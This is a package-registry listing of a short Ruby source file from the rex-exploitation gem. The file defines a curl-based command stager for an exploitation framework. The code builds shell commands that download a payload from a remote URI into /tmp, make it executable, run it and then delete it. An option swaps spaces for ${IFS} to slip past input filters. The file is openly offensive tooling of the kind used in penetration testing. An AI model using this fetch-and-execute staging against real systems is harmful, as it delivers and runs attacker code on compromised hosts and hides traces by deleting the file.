Sha256: e8a4f87dc00d207d06e35aa253ffb76cfa05b8ac6959169b80573bb4680a50eb
Contents?: true
Size: 1004 Bytes
Versions: 2
Compression:
Stored size: 1004 Bytes
Contents
# -*- coding: binary -*- class Rex::Exploitation::CmdStagerCurl < Rex::Exploitation::CmdStagerBase def http? true end def generate(opts = {}) if opts[:payload_uri].nil? raise "#{self.class.name}##{__callee__} missing opts[:payload_uri]" end opts[:temp] ||= '/tmp' opts[:file] ||= Rex::Text.rand_text_alpha(8) @payload_path = "#{opts[:temp]}/#{opts[:file]}" super end def generate_cmds_payload(opts) cmds = [] if opts[:ssl] cmds << "curl -kso #{@payload_path} #{opts[:payload_uri]}" else cmds << "curl -so #{@payload_path} #{opts[:payload_uri]}" end cmds end def generate_cmds_decoder(opts) cmds = [] cmds << "chmod +x #{@payload_path}" cmds << @payload_path cmds << "rm -f #{@payload_path}" unless opts[:nodelete] cmds end def compress_commands(cmds, opts) cmds.each { |cmd| cmd.gsub!(/\s+/, '${IFS}') } if opts[:nospace] super end def cmd_concat_operator ';' end end
Version data entries
2 entries across 2 versions & 1 rubygems
Version | Path |
---|---|
rex-exploitation-0.1.14 | lib/rex/exploitation/cmdstager/curl.rb |
rex-exploitation-0.1.13 | lib/rex/exploitation/cmdstager/curl.rb |